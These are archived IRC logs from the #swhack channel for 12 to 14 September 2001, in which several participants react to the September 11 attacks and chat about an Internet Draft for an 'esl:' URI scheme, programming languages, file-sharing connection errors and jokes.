(sean@pEDs10a06.client.global.net.uk) has joined the channel 20:59:46 <AaronSw> *** ChanServ has opped sbp 20:59:48 <AaronSw> *** sbp has deopped sbp 20:59:50 <AaronSw> <AaronSw> hi 20:59:52 <AaronSw> <sbp> Hi 20:59:54 <AaronSw> <AaronSw> Scary: http://www.usatoday.com/life/cyber/tech/2001-02-05-binladen.htm 20:59:56 <AaronSw> <AaronSw> They might make your new ESL scheme illegal. ;-) 20:59:59 <AaronSw> <sbp> Hmm... 21:00:01 <AaronSw> * sbp notes that no encryption of any type is involved with "esl:" 21:00:02 <AaronSw> <AaronSw> So what... USA Today thinks steganography is encryption. 21:00:04 <AaronSw> <AaronSw> Digital Signatures can't be too far behind. 21:00:06 <AaronSw> <AaronSw> logster is down 21:00:08 <AaronSw> <AaronSw> :-( 21:00:10 <AaronSw> <sbp> what happened to it? 21:00:12 <AaronSw> <AaronSw> I don't know... It was pretty close to the WTC, so I'm not surprised. 21:00:14 <AaronSw> <AaronSw> Apparently that whole part of Manhattan has been closed. 21:00:16 <AaronSw> <AaronSw> Likely the Internet connection or the power died. 21:00:18 <AaronSw> <sbp> Ah, so it was terrorists then... 21:00:20 <AaronSw> <sbp> yeah, apparently, all of the 'phone lines are down 21:00:22 <AaronSw> <AaronSw> Yes, their real goal was to shut down Blogspace, they accidentally missed and hit the WTC by mistake. 21:00:25 <AaronSw> <sbp> How did you first hear about it? 21:00:27 <AaronSw> <AaronSw> My mom shook me awake this morning and said, "Aaron, Aaron, a plane crashed into the World Trade Center." 21:00:30 <AaronSw> <AaronSw> You? 21:00:32 <AaronSw> <Morbus> i thought it was the flipping satellite crashing. the first i heard of it was a blurb on the radio about "ash falling down". i changed the station. 21:00:35 <AaronSw> <AaronSw> Satellite? 21:00:37 <AaronSw> <sbp> I was playing pool in the Pub when someone rang up Phil on his mobile and said that someone had attacked the Pentagon 21:00:40 <AaronSw> <Morbus> yeah, i mistakenely read something yesterday, and i thought it said something like some satellite was crashing to the earth and burning on reentry. when i heard the ash falling, i thought it was related to that. 21:00:43 <AaronSw> <Morbus> i was in my car, coming home after dogsitting. i won't be forgetting. 21:00:45 <AaronSw> <sbp> I thought he was kidding, or if he wasn't, that it was a minor attack, no injuries, and I even bet him a pound that it wasn't true 21:00:48 <AaronSw> <sbp> We played another game of pool, and rushed home 21:00:50 <AaronSw> <sbp> Just in time to see the second WTC tower collapse 21:00:52 <AaronSw> <sbp> There are no words to describe that 21:00:54 <AaronSw> <AaronSw> Wow... 21:00:56 <AaronSw> <AaronSw> Yeah, I've been watching TV all day. 21:00:58 <AaronSw> <AaronSw> I shouted to Mom, the Pentagon's under attack and she was like, "No honey, the World Trade Center." ;-) 21:01:01 <AaronSw> <Morbus> same here. i only heard it on the radio, rushed home to flip the tv on, and just kinda sat shocked as the images rolled by 21:01:04 <AaronSw> <Morbus> it was so messed up. the people on the radio were telling whathappened, had justfinished saying that the wtc was hit, and then suddenly said "we have reports of another explosion". it was fucked up. 21:01:07 <AaronSw> <AaronSw> Yeah, it was like some crazy movie... I kept wondering what was going to blow up next? 21:01:09 <AaronSw> <sbp> And there were also confusing reports about further planes for a while 21:01:11 <AaronSw> <Morbus> i kept askign myself the ... .. i kept wondering and amazing at how coordinated and plan'd this was. 21:01:13 <AaronSw> <AaronSw> Yeah, there were a lot of reports about other planes that I haven't heard about again... 21:01:15 <AaronSw> <Morbus> yeah, wasn't there some mysterious plane that they couldn't track? which one of the four was that? the one near penn? 21:01:18 <AaronSw> <sbp> I think the primary problem was confusion about the Penn one 21:01:20 <AaronSw> <Morbus> same here. its been pretty much the four since about 2 this afternoon. 21:01:22 <AaronSw> <AaronSw> Smoke visible from space: http://www.gnome.org/~drc/jeepo/nyc/NY_ch02_scale.jpg 21:01:24 <AaronSw> <AaronSw> The conspiracy theorist in me says the government shot them down and wants to keep things quiet. 21:01:26 <AaronSw> <Morbus> est 21:01:28 <AaronSw> <AaronSw> Sheesh, those crazy Aussies slept thru it all. 21:01:30 <AaronSw> <AaronSw> tav's been ranting about it all day... 21:01:32 <AaronSw> <Morbus> well, there's a report somewhere that says the thing took a sudden 90 degree dip into earth 21:01:34 <AaronSw> <AaronSw> Well, it's a great day to catch up on email since nobody's sending any. 21:01:36 <AaronSw> <tav> heh 21:01:38 <AaronSw> <Morbus> heh. i did that yesterday ;) 21:01:40 <AaronSw> <sbp> Why would they keep it quiet that they shot down the aircraft? 21:01:42 <AaronSw> <Morbus> yeah, that doesn't make much sense to me either - same with the afg bombings 21:01:44 <AaronSw> <AaronSw> AFG? 21:01:46 <AaronSw> <sbp> I think it's more likely that the crew realised what was going on, and tried to crash it 21:01:48 <AaronSw> <AaronSw> Yes, I'm pretty sure that's what happened to the PA plane. 21:01:50 <AaronSw> <sbp> The black boxes should be rather telling 21:01:52 <AaronSw> <AaronSw> If they find them. 21:01:54 <AaronSw> <Morbus> aaronSw, afghanistan (sp?) 21:01:56 <AaronSw> <AaronSw> ahh 21:01:58 <AaronSw> <Morbus> well, that worries me too. 21:02:00 <AaronSw> <sbp> I dunno if they'll find the WTC boxes, but the Pittsburgh and Pentagon ones should be easy 21:02:02 <AaronSw> <Morbus> because some people are suggestng that the other plans were flown by the terrorists. 21:02:04 <AaronSw> <Morbus> but this plane made the turn already to whereever it was heading. if the terr. were flying it, it wouldn't make sense. if they weren't flying it, then a "plan" broke down somewhere. 21:02:07 <AaronSw> <Morbus> the reasoning behind the terr. flyer angle is because people certify that american pilots wouldn't willfully suicide themselves into a billing 21:02:10 <AaronSw> <Morbus> building, rather 21:02:12 <AaronSw> <sbp> absolutely 21:02:14 <AaronSw> <AaronSw> ESR's solution: Give everyone guns. http://doc.weblogs.com/stories/storyReader$1023 21:02:16 <AaronSw> <Morbus> i'm just constantly amzed at the scope of this operation. this must have taken an awful long time to plan 21:02:19 <AaronSw> <sbp> Actually, it 21:02:21 <AaronSw> <sbp> 's incredible how crude and spohiticated it is at the same time 21:02:23 <AaronSw> <sbp> I mean, they caused destruction on an unprecedented scale... using knives 21:02:25 <AaronSw> <Morbus> no, that's stupid. 21:02:27 <AaronSw> <Morbus> sigh. flipping esr 21:02:29 <AaronSw> <Morbus> yeah! what a low tech solution. just ram our own shit into our own shit. 21:02:31 <AaronSw> <Morbus> its just like the car bomb - use a normal part of culture as a bad thing 21:02:33 <AaronSw> <Morbus> what's next? refrigerators being shipped with chemical coolants/diseases instead of freons? 21:02:35 <AaronSw> <Morbus> or box cutters, depending on who you listen to. 21:02:37 <AaronSw> <sbp> both, apparently 21:02:39 <AaronSw> <AaronSw> <jstraw> ALL DC area schools have now closed tommarrow 21:02:41 <AaronSw> *** sbp has quit IRC (Ping timeout for sbp[pEDs10a06.client.global.net.uk]) 21:02:43 <AaronSw> <AaronSw> I hope I don't have to go to school tomorrow either. 21:02:45 <AaronSw> *** Morbus has quit IRC (http://www.disobey.com/) 21:02:47 <AaronSw> *** sbp (sean@p8Ds10a06.client.global.net.uk) has joined the channel 21:02:49 <AaronSw> *** ChanServ has opped sbp 21:02:51 <AaronSw> *** sbp has deopped sbp 21:02:53 <AaronSw> <AaronSw> Interesting interview with Scoble's son: 21:02:55 <AaronSw> <AaronSw> Q: What should we do to the people who planned the terrorist acts? 21:02:57 <AaronSw> <AaronSw> Well, we should kill them. 21:02:59 <AaronSw> <AaronSw> Q: Why do you say that? 21:03:01 <AaronSw> <AaronSw> Because they are stupid. 21:03:03 <AaronSw> <AaronSw> - http://scobleizer.manilasites.com/stories/storyReader$346 21:03:05 <AaronSw> <AaronSw> He's 7. 21:03:07 <AaronSw> <sbp> Scoble? 21:03:09 <AaronSw> <AaronSw> Robert Scoble... 21:03:11 <AaronSw> <sbp> Any further qualification? 21:03:13 <AaronSw> <AaronSw> umm, Marketing Guy for UserLand Software... 21:03:15 <AaronSw> <AaronSw> Weblog: http://scobleizer.manilasites.com/ 21:03:17 <AaronSw> <sbp> Oh 21:03:19 <AaronSw> <sbp> Gotta run 21:03:21 <AaronSw> <AaronSw> bye 21:03:23 <AaronSw> *** sbp has quit IRC (Ping timeout for sbp[p8Ds10a06.client.global.net.uk]) 21:03:25 <AaronSw> *** sbp (sean@p38s13a06.client.global.net.uk) has joined the channel 21:03:27 <AaronSw> *** ChanServ has opped sbp 21:03:29 <AaronSw> <sbp> So, what do you think of plexnames? 21:03:31 <AaronSw> *** sbp has deopped sbp 21:03:33 <AaronSw> <sbp> Helli? 21:03:35 <AaronSw> <sbp> Hello? 21:03:37 <AaronSw> <AaronSw> Hi there. 21:03:39 <AaronSw> <sbp> Hi 21:03:41 <AaronSw> <sbp> So, what do you think of plexnames? 21:03:43 <AaronSw> <AaronSw> I think plexnames are very cool. 21:03:45 <AaronSw> <AaronSw> What do you think? 21:03:47 <AaronSw> <sbp> I also think that plexnames are very cool 21:03:49 <AaronSw> <sbp> So we're agreed? Plexnames are very cool 21:03:51 <AaronSw> <tav> thank ye 21:03:53 <AaronSw> <sbp> aaaaaargh! 21:03:55 <AaronSw> <sbp> Hi 21:03:57 <AaronSw> <AaronSw> Yes, I think we agree. 21:03:59 <AaronSw> <sbp> [sorry, I still get shocked when I see other people in this room] 21:04:01 <AaronSw> <sbp> Any documentation yet? a precis of yesterday's rants might be good 21:04:03 <AaronSw> <AaronSw> Feel free to write some, sbp. 21:04:05 <AaronSw> <tav> AaronSw was going to, but today has been a historical day... 21:04:07 <AaronSw> <AaronSw> Yeah, I think I can be excused. :-) 21:04:09 <AaronSw> <sbp> Yeah... 21:04:11 <AaronSw> <sbp> I don't mean like right now! 21:04:13 <AaronSw> <AaronSw> Yes, I think I'll get a writeup sometime. 21:04:15 <AaronSw> * sbp just wondered if anything had been produced before yesterdays's carnage 21:04:17 <AaronSw> <AaronSw> Yeah, more chatlogs. 21:04:19 <AaronSw> <AaronSw> And I signed up to be an Espian. 21:04:21 <AaronSw> <sbp> I'm still suprised that Pat and Sandro etc. were still arguing about RDF 21:04:23 <AaronSw> <sbp> Loads of people just seem to be going "oh well" 21:04:25 <AaronSw> <AaronSw> I got very little email today... only about 4-5 messages, I think. 21:04:27 <AaronSw> <AaronSw> Yeah, well we might as well move on, eh? 21:04:29 <AaronSw> <sbp> I got about 40-50 21:04:31 <AaronSw> <sbp> Move on, yes, but not just ignore it 21:04:33 <AaronSw> <AaronSw> Interesting spam: "Do u Know why you receive so many email?" 21:04:35 <AaronSw> <AaronSw> Yes, because of spammers. 21:04:37 <AaronSw> <sbp> heh, yes 21:04:39 <AaronSw> <sbp> Isn't spam grammar great? 21:04:41 <AaronSw> <AaronSw> And then they go on to advertise spamming software. 21:04:43 <AaronSw> <sbp> Spam for spamming software? I suppose by sending that spam, they're proving that you need it 21:04:45 <AaronSw> <sbp> Gotta run 21:04:47 <AaronSw> <AaronSw> bye 23:31:38 <sbp> sbp has joined #swhack 23:31:43 <AaronSw> Hello. 23:32:28 <sbp> Hi 23:50:39 <tav> tav has quit 23:57:14 <sbp> sbp has quit 23:58:11 <tav> tav has joined #swhack 23:59:26 <tav> tav is now known as tav` �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-13.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000041624�07350235311�012011� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������01:52:00 <logster> logster has joined #swhack 01:52:00 <benford.openprojects.net> topic is: Join #swhack. Sean chats there. 01:52:00 <benford.openprojects.net> Users on #swhack: logster @sbp tav` deltab AaronSw 01:53:06 <sbp> Cool: http://www.ietf.org/internet-drafts/draft-palmer-esl-uri-00.txt 01:53:41 <sbp> My first Internet Draft :-) 01:57:43 <sbp> Steps now: circulate to uri@w3.org, and interested parties to solicit feedback 01:57:57 <AaronSw> Neato! 01:57:59 <sbp> then, prepare a new Internet Draft 01:58:03 <sbp> Oh, hi Aaron 01:58:08 <AaronSw> Heh 01:58:28 <sbp> then, hopefully, on to RFC... if the scheme proves useful 01:58:37 <AaronSw> Neat thing I didn't know before... Xena's available via HTTP: 01:58:48 <AaronSw> http://esp.espnow.com/x_ircbot/render?command=e%20sbp&username=sbp 01:58:53 <sbp> cool 02:00:29 <AaronSw> Ooh, an RFC... I'll have to get my name on it somehow. ;-) 02:00:37 <sbp> * sbp was one of 5 authors to publish Internet Drafts on "that" day... I of course sent it before the events 02:00:40 <sbp> Heh 02:00:57 <AaronSw> Another neat thing I didn't know before: CNN broadcasts closed captions via IRC. 02:01:35 <sbp> another interesting Internet Draft: http://www.ietf.org/internet-drafts/draft-ietf-stime-ntpauth-02.txt 02:01:39 <sbp> where? 02:01:46 <deltab> yeah, look for user CC on chat.cnn.com 02:01:56 <AaronSw> irc://chat.cnn.com/CNN_Newsfeed 02:03:05 <AaronSw> It's a bit annoying tho since one of the anchors is named Aaron, and my chat client keeps on beeping, thinking it's for me. 02:03:47 <deltab> you mean that isn't you? :-) 02:04:08 <AaronSw> Well, it is, but I already hear them in my headset. 02:04:29 <sbp> lol 02:04:49 <AaronSw> Hmm: *** sbp has the language filter enabled. 02:05:10 <AaronSw> It's a wacky IRC server 02:05:47 <sbp> ? 02:05:59 <AaronSw> The CNN server. 02:06:46 <AaronSw> New ISP? <AaronSw> Eh? *** sbp is sean@195.147.216.sc39= (Sean B. Palmer) 02:09:23 <sbp> not according to this serve 02:09:25 <sbp> r 02:09:34 <sbp> same as usual 02:13:04 <Morbus> Morbus has joined #swhack 02:13:38 <AaronSw> hi morbus 02:14:13 <Morbus> hey there, aaron, how's life? 02:14:26 <AaronSw> OK, you? 02:14:46 <Morbus> eh. as well as can be :) 02:15:31 <Morbus> just reading some magazines 02:15:39 <Morbus> decided to learn java 02:15:55 <AaronSw> Java? come on, go for Python! 02:16:15 <Morbus> heh. no runtime builder on the mac. 02:16:36 <Morbus> i won't mess with a language that can't be built into a runtime on every platform, without need for odwnloading the intepretor or compiler 02:17:06 <sbp> Aw, go on! 02:17:18 <Morbus> hehehe... 02:17:22 <AaronSw> Hmm, I think there just might be a runtime builder for the Mac. 02:17:24 <Morbus> beat up on morbus, whoooooOO! 02:17:36 <AaronSw> Java sucks on Mac! 02:17:36 <AaronSw> Sucks! 02:17:37 <AaronSw> :-) 02:17:39 <Morbus> not on osx. 02:17:52 <AaronSw> Yeah, it only sucks mostly. ;-) 02:17:58 <Morbus> hehehe... 02:18:13 <Morbus> so there is a runtime builder for python on the mac? any gui libraries? 02:18:29 <AaronSw> Yeah, there's Tk for the Mac. 02:18:54 <sbp> http://www.twistedmatrix.com/users/glyph/rant/python-vs-java.html 02:18:57 <Morbus> and you can bind all that crap into a standalne exe that can be compressed and shipped, with double-clickability... 02:20:17 <sbp> from that file: "Java's performance was *astonishingly* bad." 02:21:06 <Morbus> you know, i could care less about performance, actually. no one can complain about the performance if i can't give them a small doubleclickable app on every platform i want. 02:21:23 <Morbus> i care far more about usability. 02:21:32 <Morbus> rants to syndication pretty much repeat ad infinitum that belief 02:24:33 <Morbus> Morbus has quit 02:29:23 <sbp> usability: interesting how I think most or all of the example Python files were shorter and neater than the Java files doing the same task (and slower) 02:41:36 <AaronSw> I've also found myself saying "v. cool" and wanting to say "lol" out loud. 02:41:45 <AaronSw> lol is pronounced lahl, btw. 02:44:01 <sbp> no, it's pronounced "lohl" 02:44:18 <AaronSw> Like low-ell? 02:51:30 <sbp> no, "lol" 02:51:45 <AaronSw> So an oh O, not an ah O? 02:51:51 <sbp> no 02:52:05 <sbp> i.e. like the "o" in "no" 02:52:13 <AaronSw> yeah, an oh o. 02:52:15 <sbp> er... not like 02:52:23 <sbp> more like in "hot" 02:52:29 <sbp> or "pot" 02:52:33 <AaronSw> that's what I said! 02:52:35 <AaronSw> lahl. 02:52:55 <sbp> that's not an "oh" sound 02:53:01 <AaronSw> No, it's an ah sound. 02:53:12 <sbp> yeah, as in "aaaaaaaah" 02:53:25 <sbp> as in "far" 02:53:28 <AaronSw> No, as in "ahhhhhhh" 02:53:33 <AaronSw> Yeah, far is good. 02:53:48 <sbp> "lol" kind rhymes with "poll" 02:54:02 <sbp> except the "l" sound at the end is shorter 02:54:14 <sbp> and the o sound is shorter too 02:54:22 <sbp> as in "lolly"! 02:54:35 <AaronSw> "poll" has a totally different o than lolly. 02:55:19 <sbp> not that much different 02:55:29 <AaronSw> Hmm, perhaps with your accent. 02:55:45 <AaronSw> Maybe we should share MP3s? ;-) 02:56:25 <sbp> Yeah, although I think my mic. is broken, and it 02:56:35 <sbp> 's 3:58AM 02:56:51 <sbp> "lol" is pronounced "lol" 02:56:57 <AaronSw> If you says so... 02:58:46 <sbp> I does 02:58:59 <sbp> Is that O.K.? 02:59:14 <AaronSw> Is what OK? 03:00:08 <sbp> [[[ 03:00:08 <sbp> I don't care how many anime tapes you've watched, how many Japanese girlfriends you've had, or books you've read, You don't know Japanese. Not only that, majoring in the godforsaken language is NOT fun or even remotely sensible. Iraqi war prisoners are often forced to major in Japanese. The term "Holocaust" comes from the Latin roots "Holi" and "Causm", meaning "to major in Japanese". You get the idea. 03:00:16 <sbp> ]]] - http://www-unix.oit.umass.edu/~thoureau/japanese.html 03:00:28 <AaronSw> Yeah, that was pretty funny. 03:02:18 <sbp> It's a brilliant article! 03:02:19 <sbp> [[[ 03:02:20 <sbp> Not only that, but Kanji can combined to form new words. For example, if you combine the Kanji for "small", and "woman", you get the word "carbeurator". 03:02:23 <sbp> ]]] - ibid. 03:02:58 <AaronSw> [[[ 03:03:00 <AaronSw> Sloppiness is not tolerated in Japanese society, and someone with a small wrinkle in their shirt, which they thought they could hide by wearing a hooded sweatshirt over it (possibly emblazoned with a catchy english phrase like "Spread Beaver, Violence Jack-Off!"), will be promptly beaten to death with tiny cellular phones. 03:03:03 <AaronSw> ]]] - ibid. 03:05:49 <sbp> I just read that bit 03:17:13 <sbp> Wow: http://www.unitedmedia.com/comics/dilbert/archive/images/dilbert2913850010820.gif 03:17:27 <sbp> He he he 03:42:01 <sbp> Aaron? 03:42:05 <sbp> You'll love this: http://www.unitedmedia.com/comics/peanuts/archive/images/peanuts2812330010910.gif 03:42:07 <AaronSw> yes? 03:43:14 <AaronSw> heh 03:47:04 <sbp> Love this page: http://www.w3.org/2001/03/earl/0.9to0.95 03:48:18 <sbp> how would you order the SBP SWAD page? 03:48:58 <sbp> Hello? 03:50:35 <AaronSw> hi 03:51:23 <sbp> how would you order the SBP SWAD page? 03:51:28 <AaronSw> pointer? 03:51:34 <sbp> er... 03:51:42 <sbp> http://infomesh.net/2001/05/sw/ 03:51:59 <sbp> wow, someone really needs to write another SW primer: http://infomesh.net/2001/07/top10sw/ 03:54:50 <sbp> Hello? 03:54:59 <AaronSw> I'm ordering! 03:55:14 <AaronSw> EARL, SWIPT, Trust/Proof, RDFLint, SWTips, RDFWiki, RDF-in-XHTML, Simpsons, BSWL 04:00:01 <sbp> Sorry... thanks! 04:00:17 <sbp> Wow, BSWL that low, and Trust/Proof that high? 04:00:32 <AaronSw> * AaronSw shows his prejudices ;-) 04:01:07 <sbp> Well... just why Trust/Proof that high? 04:01:27 <AaronSw> Because it's cool... it's the new frontier. 04:01:31 <AaronSw> And there's little on it. 04:01:59 <sbp> I suppose. I'm still a bit confused by nurdle! 04:02:25 <AaronSw> hmz 04:02:29 <AaronSw> * AaronSw takes another look 04:03:33 <sbp> compare nurdle to the more logical http://infomesh.net/2001/proofexample/proof.n3 04:04:33 <AaronSw> Heh, but that's not exactly standard proof stuff. 04:04:55 <sbp> Yes, but nurdle is not much more complex 04:05:04 <AaronSw> hmz... 04:05:24 <AaronSw> In math class where we're doing proofs it's pretty boring so i've been sketching ways to do it in cwm. 04:05:50 <sbp> What have you come up with? 04:08:22 <sbp> Hello? 04:09:10 <AaronSw> Oh, not much yet 04:09:19 <AaronSw> Boy, you British folks get school off heasy... 04:09:27 <sbp> pardon? 04:09:29 <AaronSw> Everything after 16 is Further Education? 04:09:36 <sbp> Yeah 04:09:40 <AaronSw> Hmm, perhaps FE = American HE 04:10:33 <sbp> 11 years of school, 2 years of college, and 3 years of University 04:11:21 <sbp> I've said it before, and I'll say it again: fuck 04:11:40 <sbp> :-) 04:11:47 <AaronSw> heh :-) 04:12:33 <AaronSw> How old're you again? 04:12:40 <sbp> Dunno 04:12:49 <AaronSw> oh, come on 04:13:00 <sbp> Er... I was born in 1982, so... 19 04:13:14 <AaronSw> Aah, I'm being surrounded by 19-year-olds! 04:13:37 <AaronSw> Quick... deltab, how old are you? 04:13:39 <sbp> Really? Where? 04:16:18 <sbp> Well, anyway, I should go to bed really. I'm meant to have a visitor tomorrow, and perhaps I'll be going down the pub and playing pool again. Scary considering what happened last time 04:17:04 <AaronSw> Heh 04:17:10 <AaronSw> Who's the visitor? 04:17:21 <sbp> Roger, a friend of mine that I used to work with 04:17:37 <AaronSw> work in the sense of goofing off? 04:17:40 <sbp> He's a sound technician dude, into music 04:17:51 <sbp> yes, all of my work is conducted in that sense 04:18:01 <AaronSw> sound: nice 04:18:18 <sbp> Yeah, he loves it 04:18:21 <AaronSw> Hmm, well it's almost midnight... time to start doing some work, i suppose. 04:18:34 <sbp> Yep, c'ya! 04:18:37 <AaronSw> Bye. 04:21:36 <sbp> sbp has quit 04:50:15 <AaronSw> logster, grep encode 04:50:15 <logster> I'm logging. I found 3 answers for 'encode' 04:50:16 <logster> 0) 2001-09-13 04:50:15 <AaronSw> logster, grep encode 04:50:17 <logster> 1) 2001-07-31 01:32:49 <sbp> The concept of a global database takes some getting used to. It is bizarrely counter-intuitive, much like discovering that the earth goes round the sun (it does?). People aren't used to making data that has been encoded in proprietary formats for so long with "no ill effects" available on a globally decentralized basis. The fact there there is a clear lack of stable tools to process this data, and a lack of low-hanging-fruit type applications only confounds the si 04:50:19 <logster> 2) 2001-07-27 23:30:21 <AaronSw> OK, I've uploaded a new version that url-encodes those characters. 04:50:51 <AaronSw> logster, grep -i deltab.*uri 04:50:51 <logster> I'm logging. I found 1 answer for 'deltab.*uri' 04:50:52 <logster> 0) 2001-09-13 04:50:51 <AaronSw> logster, grep -i deltab.*uri 04:50:57 <AaronSw> logster, grep -i deltab.*url 04:50:58 <logster> I'm logging. I found 5 answers for 'deltab.*url' (showing 0...4) 04:50:59 <logster> 0) 2001-09-13 04:50:57 <AaronSw> logster, grep -i deltab.*url 04:51:00 <logster> 1) 2001-09-11 01:23:08 <deltab> .py urlparse 04:51:01 <logster> 2) 2001-09-11 01:22:46 <deltab> .py import urlparse 04:51:02 <logster> 3) 2001-09-11 01:22:39 <deltab> .x import urlparse 04:51:03 <logster> 4) 2001-09-10 03:52:53 <deltab> urllib.unquote 12:57:24 <tav`> tav` has quit 13:14:42 <tav> tav has joined #swhack 14:11:20 <tav> tav has quit 14:12:20 <tav> tav has joined #swhack 17:30:20 <lilo> [Global Notice] Hi all. At 19:30 UTC, in two hours, we'd like to ask everyone to observe a minute of silence in sympathy with the victims of the terrorist attacks on September 11, their loved ones and friends. Channel admins, if you'd like to participate, please +m your channel for a minute and optionally deop at that time. Thanks. 17:32:13 <Morbus> Morbus has joined #swhack 17:32:28 <AaronSw> Ooh, your own rDNS? 17:32:30 <Morbus> hey, aaron, sorry for dropping out yesterday. t1 frazzled out for a bit. 17:32:43 <Morbus> hehehehe. yup. i work for the damn isp, remember? <G> 17:32:50 <AaronSw> yep ;-) 17:33:12 <Morbus> i'm actually on my work machine now. at home, i just dialup into the ports. 17:33:24 <AaronSw> That's what I figured 17:33:43 <Morbus> just wanted to jump in and apologize. where are the logs located? 17:33:53 <AaronSw> no worries 17:34:02 <AaronSw> logs at http://blogspace.com/swhack/chatlogs/ 17:35:43 <Morbus> you guys had a discussion on pronouncing tla's. i'm sorry i missed that <g> 17:35:49 <AaronSw> heh 17:37:58 <Morbus> did you ever give mac satellite a try ? 17:38:29 <Neo^> Neo^ has joined #swhack 17:38:34 <AaronSw> Yeah, I keep getting error 102. Do you know what that means? 17:38:40 <Neo^> hiello 17:38:45 <AaronSw> Hello 17:38:48 <Neo^> wussup? 17:38:58 <AaronSw> What brings you here? 17:39:01 <Morbus> any errors i've gotten, i've just kept trying to connect (cmd-K), and I eventually got in. you may have to set your down/up prefs though. 17:39:10 <Neo^> got a question 17:39:27 <AaronSw> what is it? 17:39:30 <AaronSw> down/up prefs? 17:39:32 <Neo^> suppose this: 17:39:45 <Morbus> dl/ul prefs. i read something somewhere of a bug with not specifiying your folders. 17:39:51 <AaronSw> ohh 17:40:04 <Morbus> strangely enough, its no longer available on verstiontracker too. i've been emailing it to be people ;) 17:40:24 <Neo^> im a db admnin (MS SQL) and i have to manage the db remotely: how do i connect? 17:40:36 <Morbus> depends what language you're using. 17:40:42 <Neo^> nono 17:40:44 <Neo^> no 17:40:47 <Neo^> i mean 17:40:48 <AaronSw> Neo^, this isn't really the right channel for that... 17:41:00 <Neo^> why? 17:41:09 <Neo^> hack 17:41:13 <Neo^> no? 17:41:27 <AaronSw> no, swhack ;-) 17:41:30 <Neo^> Neo^ has left #swhack 17:42:12 <Morbus> what is the stated purpose of this place, anyways? 17:42:15 <AaronSw> That was odd... 17:42:21 <AaronSw> purpose: to chat about stuff... 17:42:24 <AaronSw> :-) 17:42:28 <Morbus> hehehe. oh. <g> 17:42:34 <AaronSw> <ChanServ> Notice: Description: Hacking, whacking and swhacking! 17:42:37 <Morbus> ever seen that movie? 17:42:54 <AaronSw> what movie? 17:43:28 <Morbus> the stuff. 17:43:41 <AaronSw> Hmm, I keep getting AGSock Error: 101 17:43:44 <AaronSw> the stuff? 17:43:50 <Morbus> yeah, thats normal. 17:43:58 <AaronSw> what's it mean? 17:44:06 <Morbus> that means that the server is slow. when i get like that, i just try another dozen or so times. 17:44:22 <Morbus> basically, keep trying until it says "sending login" in the status. if you see that, then you have a 50/50 of getting in. 17:44:39 <Morbus> audiogalaxy has beenhammered lately, i guess. i jump on early in the morning and then stay on all day. 17:44:43 <AaronSw> Hmm, now I have SockGetServer error: 101 17:44:52 <Morbus> same thing. 17:45:03 <Morbus> i've yet to see an error that couldn't be solved my bruteforcing the cmd-K combo <g> 17:45:16 <AaronSw> heh, so what's the stuff? 17:45:27 <Morbus> its basically about killer yogurt. 17:45:40 <Morbus> heheh. some russian guy finds this white goo bubbling out of the ground, eats it, loves it. 17:45:49 <Morbus> american commercializes it. and then it eats us. yup :) 17:46:22 <AaronSw> hehehheh. ... so what does this have to do with swhack? 17:46:34 <Morbus> well, we talk about stuff. 17:46:39 <AaronSw> ahh... i see :-) 17:46:41 <Morbus> the yogurt was called "the stuff" 17:48:26 <AaronSw> ahh 17:50:56 <Morbus> i love the bandwidth throttle of ag for pc's. its so hard to run stuff like this at work when MRTG measures everything ;) 17:51:26 <AaronSw> MRTG? 17:51:37 <Morbus> multi router traffic grapher or something. 17:51:41 <AaronSw> ahh 17:51:41 <Morbus> you've never heard of it? 17:52:03 <AaronSw> no, just didn't recognize the acronym 17:52:08 <Morbus> we've got it monitoring incoming and outgoing on all our t1's, as well as server load on all the machines, and bandwidth output on all the vhosts. 17:52:18 <Morbus> as well as dialup ports. woo. 17:52:37 <AaronSw> :-) 18:08:29 <Morbus> welp, i'm out. gotta do some real work. 18:09:08 <Morbus> Morbus has left #swhack 18:15:05 <AaronSw> Yay, finally got connected! 18:15:24 <AaronSw> (to audiogalaxy) 19:21:41 <lilo> [GlobalNotice] Hi all. A reminder per previous message. At 19:30 UTC, in two hours, we'd like to ask everyone to observe a minute of silence, in sympathy with the victims of the terrorist attacks on September 11, their loved ones and friends. Channel admins, if you'd like to participate, please +m your channel for a minute and optionally deop at that time. We're now coming up on 19:30. Thanks. 19:23:56 <lilo> [GlobalNotice] Just to clarify, 19:30 is coming up on the half-hour, in about 5 minutes. 19:28:50 <AaronSw> Please respect a minute of silence for the victims of the recent attacks. Thanks. 19:30:09 <lilo> [GlobalNotice] Thank you. 19:34:25 <AaronSw> hmz 21:41:54 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by benford.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 21:42:17 <logster> logster has joined #swhack 21:42:17 <niven.openprojects.net> topic is: Join #swhack. Sean chats there. 21:42:17 <niven.openprojects.net> Users on #swhack: logster tav AaronSw deltab 23:01:04 <Morbus> Morbus has joined #swhack 23:01:19 <AaronSw> hello 23:01:29 <Morbus> g'day ������������������������������������������������������������������������������������������������������������2001-09-14.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000106121�07350514632�012012� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:37:37 <logster> logster has joined #swhack 00:37:37 <forward.openprojects.net> topic is: Join #swhack. Sean chats there. 00:37:37 <forward.openprojects.net> Users on #swhack: logster Morbus tav AaronSw deltab 00:37:45 <AaronSw> replay for loggy: 00:37:49 <AaronSw> <AaronSw> aww, shoot 00:37:49 <AaronSw> <Morbus> heh. is that off your machine? 00:37:49 <AaronSw> <AaronSw> my server 00:37:49 <AaronSw> <AaronSw> which is in NY :-( 00:37:50 <AaronSw> <Morbus> oh poo. 00:37:50 <AaronSw> <AaronSw> they seem to be having some internet problems there 00:37:52 <AaronSw> <Morbus> i heard a bunch of t3's were down in that area. 00:37:54 <AaronSw> <AaronSw> i wouldn't be surprised 00:37:56 <AaronSw> <AaronSw> I doubt the isp contracts cover acts of terrorism 00:37:58 <AaronSw> <Morbus> i doubt it. or else they took down the server to install carnivore 00:38:00 <AaronSw> <AaronSw> heh! 00:38:02 <AaronSw> <Morbus> :) 00:38:04 <AaronSw> <AaronSw> Took me like an hour to get into AG, this morning... but once i 